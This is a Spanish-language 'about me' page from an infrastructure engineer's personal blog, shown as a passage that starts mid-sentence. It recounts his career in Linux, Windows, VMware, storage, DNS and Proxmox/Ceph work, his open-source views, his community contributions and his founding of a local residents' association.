nativo De extremo a extremo en casa por fibra · Zen Internet · 2017 Nominet — infraestructura nacional crítica IPv6 en producción para el registro .uk · balanceadores F5 en IPv4 e IPv6 Hoy, alrededor del 90 % de mi tráfico va por IPv6 nativo. Aprender haciendo Todo lo que sé técnicamente lo aprendí poniéndome a ello. Construí cosas, las rompí, averigüé por qué se rompían, las volví a construir.\nLa carrera fue Business Studies y Computer Network Engineering en Sheffield Hallam, y me dio lo único que no da aprender por tu cuenta — cómo funciona de verdad una empresa, cómo una decisión técnica se convierte en un resultado comercial, y cómo pensar un sistema en función del problema que resuelve para quien lo paga. Eso ha marcado todos los puestos desde entonces.\nLas habilidades técnicas vinieron de hacer, eso sí, no de estudiar. Los problemas de producción no llegan con una bibliografía. Saber resolver algo desde los principios vale más que un certificado en la pared, y no caduca.\nDe dónde viene el código abierto Cuando la dirección de Microsoft describió el código abierto como «un cáncer» a principios de los 2000, yo ya estaba metido de lleno en Linux. Construyendo sistemas desde cero. Usando Gentoo. Contribuyendo en comunidades.\nEsa clase de hostilidad hacia gente que comparte conocimiento y construye junta no me echó para atrás. Me empujó más adentro. Si la respuesta de una empresa al desarrollo colaborativo es llamarlo enfermedad, eso dice más de la empresa que del software. Me metí más a fondo en el código abierto y lo convertí en mi primera opción, en lugar de respaldar esa mentalidad.\nCon los años, el argumento práctico alcanzó al de principios. Las plataformas propietarias funcionan bastante bien hasta que el fabricante cambia las licencias, lo compran, o decide que tu caso de uso no merece la pena. Entonces te quedas atrapado. Tus datos, tus procesos y el conocimiento de tu equipo están todos atados a una plataforma que ya no controlas. La compra de VMware por Broadcom es el ejemplo más reciente y visible, pero ni de lejos el único.\nEl mismo razonamiento vale para la nube. Pregunta qué estás alquilando de verdad y la respuesta es capacidad que podrías haber tenido en propiedad, con un contador que no para nunca. Los beneficios prometidos — agilidad, elasticidad, menos que gestionar — rara vez llegan con la forma que describía la presentación, y el coste se acumula año tras año como no lo hace el equipo propio. Como tal, he podido demostrar, cada vez que alguien me lo ha pedido, que el código abierto sobre hardware bien diseñado da mejor relación, más control y menos sorpresas. No es una postura de moda. Pero es una que puedo respaldar con cifras.\nConstruir una carrera Mi carrera empezó en 2005 en una fundición de precisión en Worksop. Técnico informático, en un equipo pequeño, dando servicio a unos cincuenta usuarios.\nAquel primer puesto abarcaba una amplitud considerable. Mantenimiento del ERP Manusoft y del archivo documental. Administración de servidores Linux y Windows 2003. Desarrollo en Crystal Reports para las decisiones de producción y mantenimiento. Administración de la centralita. Integración de sistemas CAD/CAM y gestión de la fabricación robotizada asistida por ordenador. Compra de hardware y software. Formación de usuarios y soporte en su propio puesto.\nTambién escribía automatización desde el primer día. Actualicé el Active Directory de la empresa y escribí scripts VB que conectaban unidades, asignaban impresoras y desplegaban software automáticamente según la pertenencia a grupos. Eso fue en 2006 — automatización de infraestructura de verdad en mi primer puesto profesional.\nEso es informática industrial. Cuando la línea se para por algo de lo que tú te ocupas, descubres deprisa que la fiabilidad no es una preferencia, y la gente que está junto a la máquina te lo dirá ella misma. Fue también la primera vez que llevé Linux y Windows en el mismo edificio para ganarme la vida, y ese ha sido el patrón desde entonces.\nDe ahí pasé al soporte técnico de primera línea. Primer y segundo nivel, en un puesto dedicado a un gran cliente multinacional. Escritorios Windows, Active Directory, Exchange 2007, VPN de Cisco, Cisco Call Manager, gestión de tickets con ITIL en Remedy. Esa disciplina ITIL — gestión del cambio, gestión de problemas, procesos estructurados — me ha seguido a todos los puestos desde entonces. También tendí pronto un puente entre los mundos Linux y Windows — configurando Services for Unix y resolviendo el acceso de Citrix a recursos NFS de Unix.\nIncluso en ese puesto construía más allá de la descripción del trabajo. Escribí una interfaz que daba de alta y de baja cuentas de usuario directamente desde los datos de RR. HH. en Agresso, gestionando la cuenta de Active Directory, las pertenencias a grupos, la configuración de Office Communicator, el buzón de Exchange y los alias. Eso es integración de sistemas desde un asiento de primer nivel, que no era lo que decía el cargo.\nUno de los clientes a los que atendía en ese puesto me contrató después en la empresa siguiente.\nLuego una empresa global de comunicaciones, TIC y seguridad. Ahí empezó de verdad el desarrollo de aplicaciones. En dos años y medio construí seis sistemas internos distintos o contribuí a ellos. Una herramienta web propia de presupuestos. Interfaces de procesamiento de pedidos entre Salesforce y Agresso. Un catálogo de datos maestros en SharePoint alimentado desde Salesforce y Agresso. Un sistema web propio de gestión de proyectos con interfaces hacia MSPE y Agresso para el tratamiento financiero. Y una migración de una aplicación personalizada de Salesforce Service Cloud a ServiceNow con implantación completa de procesos ITIL. También escribía la arquitectura de interfaces SQL para las aplicaciones corporativas y afinaba el rendimiento de MS SQL. Administraba IIS y los Terminal Services de Windows Server 2008, y era responsable del modelo de datos corporativo. Los servicios de directorio — Active Directory y LDAP — se convirtieron aquí en una habilidad central que me siguió en todos los puestos posteriores.\nTambién dirigí un programa nacional de sustitución con Windows 7, pasando a toda la base de usuarios británica a equipos HP nuevos en tres semanas, con un 95 % declarando que no había sufrido ninguna interrupción de su trabajo. Tres semanas es la clase de cifra que solo sale si la preparación se hizo bien, y la preparación es la mitad sin glamur por la que nadie pregunta después.\nLuego llegó la gestión. Una casa de diseño de semiconductores con un equipo pequeño de ingenieros repartido por varios países. Aquello juntó varios hilos a la vez. Desarrollaba en la plataforma Force.com — disparadores, páginas Visualforce, controladores propios — para integrar globalmente la contabilidad de Financial Force y los sistemas PSA. A la vez construía dos clústeres HPC separados con arranque PXE. Uno para la ingeniería europea en el Reino Unido y otro para la ingeniería china. Ambos con Red Hat y sistemas de ficheros raíz por NFS, para granjas de cálculo sin disco, consistentes y repetibles al 100 %. Desplegué ZFS sobre Linux con equipos Dell PowerVault para almacenamiento unificado. Sustituí entornos de seguridad antiguos y aislados por un Active Directory de Windows Server con Kerberos y LDAP nativos para inicio de sesión único entre Linux y Windows. Estabilicé la conectividad internacional construyendo una red unificada con túneles OpenVPN a través de condiciones de operación difíciles hacia China.\nDurante buena parte de ese puesto fui el único que cubría todo aquello: las granjas de cálculo Linux, el soporte de Windows, el desarrollo en Salesforce y la atención a usuarios en varias zonas horarias, bajo cargas de diseño de SoC en nodos tecnológicos avanzados. Uno de los ingenieros que me reportaban acabó siendo desarrollador de Salesforce, y cuento eso como el mejor resultado de aquellos años.\nDespués, una inmersión de verdad en Linux. Soporte de tercer nivel en Pulsant, un proveedor de nube y alojamiento, a lo largo de toda la pila. RHEL, CentOS, Ubuntu. Clústeres MySQL con Galera, fragmentación de MongoDB, HAProxy con SNI y terminación SSL, Apache, PostgreSQL, ajuste de PHP-FPM para comercio electrónico exigente, correo Postfix, BIND y PowerDNS para alojamiento DNS, Varnish para caché web, Squid para caché de proxy. IPTables, IPset y Cisco ASA para cortafuegos y protección contra DoS. Optimización de servidores Linux para red y almacenamiento. Resolución de problemas de CPanel, desarrollo de plantillas de monitorización en SolarWinds y administración de New Relic. Todo sobre VMware 5.5 con vCloud Director por debajo.\nY no era solo soporte. Allí diseñé un producto de replicación de bases de datos Galera y lo llevé del concepto al prototipo y luego a un servicio por el que los clientes pagaban. Aquello no fue un ejercicio de laboratorio. Se construyó y se probó contra cargas reales de clientes reales que pagaban, y eso un proveedor de alojamiento no lo suelta a la ligera.\nEl tercer nivel te enseña lo que significa ser la última línea de escalado. Cuando llega a ti, nadie por detrás va a arreglarlo.\nLuego Nominet — el registro detrás de cada nombre de dominio .uk. DNS a escala nacional. La infraestructura tiene que estar firme veinticuatro horas al día, todos los días, sin caídas y con guardia fuera de horario. VMware 5.5 y 6, almacenamiento HP 3par con zonificación de fibra en Brocade, RHEL 6 y 7 gestionados con Puppet, balanceadores F5 en IPv4 e IPv6, correo Postfix, y un despliegue de Zabbix que construí para sustituir la envejecida monitorización de VMware Hyperic. También adopté y personalicé ServiceNow, implantando flujos de trabajo, despliegue de aplicaciones y descubrimiento de nodos Linux para la gestión de configuración y el inventario. Ayudé a diseñar y construir los procesos para externalizar el servicio de atención fuera de horario, y aligerar así la guardia.\nEn Nominet acabé siendo la primera persona a la que se preguntaba, fuera de Linux, de Unix, de ServiceNow o de algo que nadie sabía encajar, y me empeñaba en volver con algo que funcionara en lugar de algo que sonara bien. Ese es el tipo de sitio donde aprendes que el enfoque aburrido y disciplinado de la infraestructura es el que sobrevive al contacto con un martes por la mañana.\nDespués de Nominet pasé por infraestructura y alojamiento. VMware 6.7, Zerto para recuperación ante desastres, almacenamiento Dell Compellent y Nexsan con zonificación de fibra Brocade, Citrix Cloud con gestión de perfiles FSLogix junto a Azure. Allí también introduje la monitorización con Zabbix, diseñando las plantillas y los scripts desde cero.\nLuego el comercio minorista. Dirigiendo un equipo pequeño, recuperando internamente la administración de VMware 6.7 que llevaba un tercero, desplegando Zabbix (otra vez, sustituyendo un intento fallido), rehaciendo el despliegue de sistemas en torno a PXE y Chocolatey, renovando la red con equipos Fortinet, y poniendo en orden las compras de hardware.\nLuego el puesto que lo cambió todo. En el UK Centre for Ecology \u0026amp; Hydrology dirigí el equipo de computación científica — cuatro personas a mi cargo — y reconstruí la infraestructura desde los cimientos. Una nube privada de 7 nodos Proxmox VE con almacenamiento Ceph hiperconvergido sobre conmutación doble de 100Gb. Un clúster HPC de 8 nodos sobre InfiniBand HDR con Slurm, con SR-IOV para el acceso de las VM a la malla y EasyBuild para compilar software. Migración de GPFS a almacenamiento Ceph todo NVMe. Ansible con Netbox como fuente de verdad para todo — gestión de parches, control de la deriva de configuración, integraciones con Cloudflare, PowerDNS y Active Directory. Enrutamiento dinámico OSPF para las redes de la nube. Espejos de repositorios locales para la máxima velocidad y consistencia de despliegue. Redespliegue del entorno HPC de CentOS 7 a Rocky 9. Cloudflare para DNS (DNSSEC incluido), protección contra DDoS y acceso remoto Zero Trust. Eso incluyó migrar 25 zonas DNS autoritativas de un BIND 9 autoalojado a Cloudflare en dos días laborables. Se actualizaron varios registros, y todo el conjunto quedó integrado con Ansible y Let\u0026rsquo;s Encrypt.\nTodo sobre herramientas de código abierto, con presupuesto ajustado, construido a propósito para esquivar la trampa de licencias de Broadcom y VMware antes de que se cerrara. Aquello zanjó la discusión. La infraestructura de código abierto a esa escala no solo es viable — es mejor, y tengo el clúster y las facturas para decirlo.\nLa otra mitad de aquel trabajo eran las cuatro personas del equipo. A los científicos les da igual cómo se llame el almacenamiento. Les importa si el cálculo termina esta noche, y si la persona a quien preguntan sabe explicarles la respuesta sin hacerles sentir tontos por preguntar.\nCómo encaja todo El paso a preventa en croit no fue un cambio de rumbo. Fue todo aterrizando en un mismo sitio.\nInformática industrial La fiabilidad no es opcional cuando la producción depende de ti Soporte de primera línea Aprender a escuchar, a explicar y a tener paciencia Desarrollo de aplicaciones Construir sistemas que resuelven problemas reales de negocio Dirección global de TI Cargar con lo técnico y aun así hacer crecer a la gente Ingeniería Linux profunda La última línea de escalado — no hay a quién más llamar DNS crítico en Nominet Infraestructura y disciplina a escala nacional Infraestructura y alojamiento VMware, almacenamiento y recuperación a gran escala Computación científica (UKCEH) Reconstruido en Proxmox VE + Ceph + HPC, todo código abierto Preventa en croit Diseñar el sistema, defender el diseño, ser honesto con él La informática industrial me enseñó que la fiabilidad deja de ser una preferencia en el momento en que la producción depende de ella. El soporte de primera línea me enseñó a escuchar antes que nada. El desarrollo de aplicaciones me enseñó a construir sistemas que resuelven un problema de negocio y no uno interesante. Dirigir un equipo global me enseñó a cargar con lo técnico y aun así hacer crecer a la gente de alrededor, que es más difícil que cualquiera de las dos mitades por separado. El Linux de tercer nivel me enseñó qué se siente en la última línea de escalado. Veinte años de Windows y Linux en paralelo me enseñaron cómo se comportan de verdad las plataformas bajo carga, frente a lo que dice la hoja de datos. VMware, que llevé en casi todos los puestos desde 2008, me enseñó cómo es la virtualización empresarial a escala — y luego qué pasa cuando el terreno comercial se mueve bajo una plataforma sobre la que se asienta todo el parque. El almacenamiento y la red me enseñaron dónde viven los problemas difíciles. La seguridad ha atravesado todo, de los cortafuegos y las VPN de entonces al DNSSEC, el Zero Trust y el endurecimiento de ahora. Nominet me enseñó disciplina.\nJunta todo eso y sale la preventa. Diseñas el sistema, luego defiendes el diseño, y sigues siendo honesto sobre lo que no hará, porque alguien está a punto de gastarse dinero de verdad fiándose de tu palabra.\nEn croit eso significa trabajar con organizaciones de Europa y Asia-Pacífico que están replanteándose su virtualización y su almacenamiento. Las conversaciones suelen ir de dejar VMware por Proxmox VE con Ceph. Las cargas que se mudan son en su mayoría Windows, así que la experiencia multiplataforma no es historia antigua. Es lo que hago ahora.\nLo que me importa es la honestidad. Lo que le pongo delante a alguien tiene que ser lo que funciona en su edificio, a su escala, con las limitaciones que tiene de verdad, y si su equipo actual ya hace casi todo el trabajo, eso es lo que le diré.\nLA PILA QUE DISEÑO Y CONSTRUYO HOY Automatización y fuente de verdad Ansible · NetBox · Let's Encrypt Cálculo Proxmox VE — máquinas KVM + contenedores LXC Almacenamiento Ceph — bloque RBD · CephFS · todo NVMe Red Malla 25/100GbE · BGP / OSPF · IPv6 nativo Cimiento Código abierto, sobre hardware que es tuyo Almacenamiento El almacenamiento acabó siendo una y otra vez donde estaban los problemas más duros. No fue un plan de carrera deliberado — simplemente salió así.\nLa fascinación empezó pronto. En los noventa soñaba con los discos Iomega Zip y Jaz — 100 MB, y luego un gigabyte entero, en un solo cartucho extraíble, cuando los disquetes que todos se pasaban guardaban 1,44 MB. Eran equipos caros, así que durante años se quedaron en deseo y no en posesión. Para cuando por fin tuve una unidad Zip por USB, acababan de aparecer las memorias USB — y el formato que tanto había querido ya iba de salida. Una lección temprana sobre lo deprisa que se mueve el almacenamiento, y lo rápido que lo imprescindible de hoy se convierte en el trasto del cajón de mañana.\nLo óptico formaba parte de la misma historia. En 1998 tenía una grabadora HP CD-RW de cuádruple velocidad, y era una maravilla. Leía y reescribía discos que unidades posteriores, más rápidas, sencillamente rechazaban — así que se ganó el sitio como unidad de rescate mucho después de la edad de jubilarse.\nEmpezó en la interconexión. He trabajado con hardware de almacenamiento de todo tipo. IDE, varias generaciones de SCSI, SATA, SAS y NVMe en la conexión directa. ATA sobre Ethernet e iSCSI en el almacenamiento en red. HP 3par, Dell Compellent, Dell PowerVault, Nexsan — cada uno con sus rarezas y sus modos de fallo.\nDe ahí se sube por la pila. El LVM en clúster me enseñó cómo se comporta el almacenamiento compartido cuando varios nodos necesitan acceso simultáneo — y qué pasa cuando el bloqueo y el aislamiento no están bien. ZFS me enseñó qué pasa cuando piensas de verdad en la integridad de los datos a nivel de sistema de ficheros. GPFS me enseñó los sistemas de ficheros paralelos a escala. Ceph me enseñó cómo se comportan de forma distinta los sistemas distribuidos ante un fallo.\nCon los años, «la persona que además lleva el almacenamiento» se convirtió en «la persona a la que llamas cuando el almacenamiento hay que diseñarlo bien».\nRedes Las redes han estado ahí desde el principio. No es una habilidad de apoyo — es una habilidad central. TCP/IP, DHCP y DNS abarcan todos y cada uno de los puestos que he tenido desde McKenna.\nTrabajar en Nominet significaba trabajar en la infraestructura detrás del registro de nombres de dominio británico. Eso es DNS a escala nacional. Nombrado, resolución, delegación, y la expectativa de que funcione todas y cada una de las veces.\nHe llevado zonas autoritativas en BIND 9, configurado DNSSEC, montado balanceadores F5 para IPv4 e IPv6, y después migrado parques DNS a Cloudflare con automatización por API e integración con Let\u0026rsquo;s Encrypt. He construido infraestructura DNS de arranque PXE para despliegues de clústeres tanto en el Reino Unido como en China. Entiendo el DNS por los dos lados. Autoalojado, donde cada fallo es tuyo. Y gestionado, donde confías en un proveedor y tienes que verificar esa confianza con monitorización.\nMás allá del DNS, la red atraviesa todos los puestos que he tenido. VLAN, agregación, LACP, zonificación de fibra con Brocade, cortafuegos Fortinet y Cisco ASA, IPTables e IPset. Diseño de mallas de 25GbE y 100GbE, BGP, enrutamiento dinámico OSPF, gestión de MTU, arquitectura IPv6. Túneles VPN — de OpenVPN sobre enlaces internacionales difíciles a WireGuard y cloudflared para acceso seguro moderno. Samba ha sido también una habilidad profesional en varios puestos, tendiendo un puente entre la compartición de ficheros de Linux y la integración de dominio de Windows, mucho antes de que yo probara la implementación de AD en alfa.\nUn clúster Ceph es una aplicación de red. El techo de rendimiento del almacenamiento lo pone la red que hay debajo. Los modos de fallo son modos de fallo de red. Eso no se aprende en un libro de texto. Se aprende resolviendo problemas a las dos de la madrugada.\nLinux Llevo más de dos décadas trabajando con las familias RHEL, Debian, SUSE y Fedora. Profesionalmente eso ha significado RHEL y CentOS para servicios en producción, Ubuntu para alojamiento de aplicaciones, Rocky para HPC, y Gentoo y Fedora para uso personal. He superado la evaluación de competencias de Linux de LinkedIn.\nLa profundidad vino de problemas sin respuesta en Stack Overflow, y ahí es donde acabas aprendiendo el subsistema PCI de verdad y no de oídas: grupos IOMMU, ACS, VFIO, SR-IOV, Resizable BAR y lo que la traducción DMA te está costando en silencio, y los parámetros de arranque del kernel como controles que cambian el comportamiento de la máquina, no como una lista que copiar de un wiki porque el blog de alguien decía que le arregló lo suyo.\nLos problemas de rendimiento de almacenamiento y virtualización casi siempre se remontan a una capa que nadie miró. Ahí es donde vive mi conocimiento de Linux.\nWindows Linux es donde paso el tiempo ahora, pero el lado Windows es igual de real y ha estado presente en todos los trabajos que he tenido. Windows Server, Active Directory, LDAP, Exchange, IIS, Microsoft SQL Server. Nada de eso es una habilidad heredada que haya dejado aparcada.\nImporta a nivel del invitado, y ahí es donde la mayoría deja de mirar. Cuando una carga Windows corre sobre KVM, la persona que sabe decirte cómo se comporta ese invitado bajo una topología de CPU concreta, y sabe rastrear una queja de rendimiento hasta un parche de Microsoft en lugar de culpar al hipervisor, es la que ha pasado años a ambos lados de la valla. La mayoría de las discusiones de rendimiento de VM que he presenciado las ganó alguien que conocía el invitado, no el anfitrión.\nLa gente a la que he dado soporte va de catedráticos y miembros de consejos de administración al equipo que cuida de los edificios. El trabajo es el mismo en todos los casos. Averiguar qué necesitan de verdad, ponerlo en marcha, y explicarlo de forma que no se queden sintiéndose tontos por haber preguntado.\nVMware VMware es la plataforma con la que crecí profesionalmente, a lo largo de siete puestos desde 2008, y he llevado toda su pila: ESXi, vCenter, vSAN, clústeres vSphere, vMotion. Sé lo que hace bien. Sé dónde no. Y vi cómo la compra por Broadcom reescribía la realidad comercial bajo organizaciones que habían construido todo su parque sobre ella, que es algo distinto de leerlo.\nNo puedes ayudar a alguien a dejar una plataforma sobre la que nunca trabajaste de verdad. Como tal, puedo decirles qué están dejando, qué obtienen, y qué parte de la migración será peor de lo que les han hecho creer.\nAutomatización Pensar en automatización empezó en mi primer puesto profesional en 2006. Scripts VB en McKenna para automatizar la conexión de unidades de AD, la asignación de impresoras y el despliegue de software. Luego herramientas de aprovisionamiento de RR. HH. a AD en BT Engage IT. Luego sistemas de arranque PXE para clústeres de cálculo sin disco en Sondrel. Luego Puppet en Nominet. Luego empaquetado con Chocolatey y reconstrucción por PXE en una empresa de comercio minorista. Luego personalización de flujos de ServiceNow en varios puestos.\nAhora es Ansible con Netbox como fuente de verdad. No porque estén de moda, sino porque una infraestructura que no puedes reconstruir desde código no es una infraestructura en la que puedas confiar.\nLa documentación es el mismo argumento. El conocimiento que solo vive en la cabeza de alguien es un punto único de fallo, y sale del edificio a las cinco con todos los demás. Igual que un disco sin redundancia detrás, y hay que tratarlo con la misma seriedad.\nMonitorización Mi recorrido en monitorización empezó con SolarWinds en Pulsant, llevando monitorización a escala sobre el parque de alojamiento. Zabbix vino después, y se ha ganado una mención propia porque lo he implantado en casi todos los sitios desde entonces. Empezó en Nominet, donde llevé el concurso y las pruebas y después nos pasé a Zabbix para sustituir el envejecido montaje de VMware Hyperic, y ganó por ser genuinamente intuitivo y no otra cosa con Nagios por debajo. Después lo implanté desde cero en una plataforma de alojamiento e infraestructura, sustituí el intento fallido de alguien en el comercio minorista, y lo usé para vigilar un clúster HPC de 8 nodos en el UKCEH.\nCada vez diseñé yo mismo las plantillas de monitorización y escribí los scripts. Cuando me presenté a los exámenes Zabbix Specialist y Professional en 2018, llevaba años desplegándolo.\nComunicación Trabajar en infraestructura crítica te enseña a ser preciso. Trabajar en preventa te enseña a ser claro. Las dos cosas están relacionadas pero no son lo mismo.\nSer preciso no sirve de nada si quien escucha no puede seguir el razonamiento, así que he tenido que aprender a dar la misma explicación dos veces: una para la ingeniera que quiere ver el mapa CRUSH, y otra para quien tiene que firmar por qué el presupuesto es la cifra que es. No simplifico nada hasta lo infantil. Solo hago visible cada paso del razonamiento, y les dejo pararme donde quieran.\nAños de usuarios finales me enseñaron otra clase de paciencia. Los que se creen los más listos de la sala suelen ser los que se comportan de forma más desvalida. Los que empiezan con «no soy muy técnico» tienden a escuchar, seguir los pasos y resolverlo en diez minutos. Y los que te dicen que saben exactamente lo que hacen suelen haberlo empeorado antes de descolgar el teléfono.\nLa base en sistemas de gestión ayuda aquí más de lo que la gente espera, porque siempre he tenido que traducir en las dos direcciones. Arquitectura SQL para una responsable de operaciones, un diseño de almacenamiento para un director técnico, o sentarme al lado de alguien en su propia mesa y enseñarle lo que nunca le enseñaron. La misma habilidad cada vez.\nComunidad Compartir conocimiento recorre toda la carrera.\nEstuve activo en los foros de Gentoo cuando construía sistemas desde el código y necesitaba entender por qué una combinación de banderas USE rompía una compilación. Contribuí en los foros de Samba cuando trabajaba en problemas de compartición de ficheros e integración de dominio entre Linux y Windows. Aquello fue más allá de preguntar. Construí un controlador de dominio de Active Directory basado en Samba cuando el soporte de AD estaba todavía en alfa. Lo probé contra clientes Windows 2000, XP y Vista y lo devolví a la comunidad.\nAhora contribuyo activamente en los foros de la comunidad Proxmox como DamienDye. Ayudo con el rendimiento del passthrough NVMe, el ajuste de VM Windows, la resolución de problemas de Ceph y las redes de clúster.\nLas tecnologías cambian. El principio no. Si he resuelto un problema, no se gana nada quedándose sentado encima, y alguien, a las dos de la madrugada dentro de seis meses, se alegrará de que esté escrito.\nTambién tengo la costumbre de escarbar en los problemas más allá de lo que la tarea pide estrictamente. He diseñado una placa casera de protección contra cortes de alimentación para NVMe, porque quería entender exactamente por qué se produce la corrupción de la FTL a nivel de hardware. He investigado los protocolos de correo autoalojado porque quería entender JMAP desde el RFC en lugar de fiarme sin más de un proveedor. Construí este blog porque escribir las cosas como es debido es la forma de encontrar los huecos en tu propia comprensión.\nComunidad lejos del teclado No todo han sido foros.\nEn 2018 fui uno de los fundadores de la Longford Park Community Association en Banbury, en la urbanización donde vivo. Cuatro fases de obra nueva, un centro comunitario escrito en los planos, y nada que existiera para hacerlo funcionar. Así que un puñado de vecinos montó algo.\nHice primero la parte informática, porque era lo que tenía que aportar. El dominio lpca.org.uk se puso en marcha en enero de 2018, y detrás construí el sitio web, los sistemas de correo y las listas de la junta, y redacté la política de privacidad.\nEstuve en la junta desde el principio, y fui su presidente de diciembre de 2018 a febrero de 2020. Catorce meses, y las cosas que de verdad importaban aterrizaron todas dentro de ese plazo. Lo registramos como entidad benéfica el 11 de febrero de 2019, con el número 1181953. Arreglé el contrato de arrendamiento comercial del edificio. Y luego abrimos el centro.\nPara eso servía la presidencia. No para órdenes del día y actas. Para abrir un edificio en el que unos cientos de hogares pudieran entrar. Voluntarios del barrio lo siguen llevando a lo largo de las fases 1 a 4 de la urbanización — tres salas, una cocina y un aparcamiento, alquilados por horas a quien de la urbanización los quiera.\nLas juntas de voluntarios funcionan con buena voluntad, y la buena voluntad no es un modelo de gobernanza. Así que apliqué los estatutos a la gente, a mí incluido. Pregunté por qué reclutábamos fuera cuando los estatutos decían que había que implicar a los vecinos, y paré un envío masivo que habría acabado en todas las carpetas de correo no deseado de la urbanización. No por ponerme difícil. Una asociación de vecinos que no puede llegar a los vecinos ya ha fallado en la única tarea que tiene, y mandé los enlaces para arreglarlo junto con la queja.\nEl centro sigue abierto y yo ya no estoy en la junta, y ese es el orden correcto. Lo que solo funciona mientras estás ahí sujetándolo nunca se construyó bien.\nEste sitio Este blog es un sitio estático de Hugo con el tema PaperMod. Está alojado en Cloudflare Workers, sirviendo el sitio construido como recursos estáticos.\nEscribo aquí sobre la infraestructura con la que trabajo a diario: Proxmox VE, Ceph, Ansible, Netbox, certificados y en lo que sea que haya estado escarbando esa semana. Está escrito para usarse, con los comandos y las cifras dentro, porque una entrada que no puedes seguir con el teclado delante es decoración. Sin palabrería de marketing. Si algo tiene aristas, la entrada lo dice.\nContacto Me encuentras en LinkedIn o en los foros de Proxmox.\nSi estás mirando Ceph o Proxmox para tu organización y quieres una conversación de verdad en lugar de una presentación comercial, escríbeme. Trae la carga de trabajo, las limitaciones y el presupuesto que tienes de verdad. Te diré qué va a hacer, qué no, y si la respuesta honrada es que deberías quedarte con lo que tienes y configurarlo bien, también tendrás esa respuesta.\n","permalink":"https://blogs.damiendye.uk/es/about/","summary":"Damien Dye — ingeniero de preventa, especialista en infraestructura y defensor del código abierto.","title":"Sobre mí"}]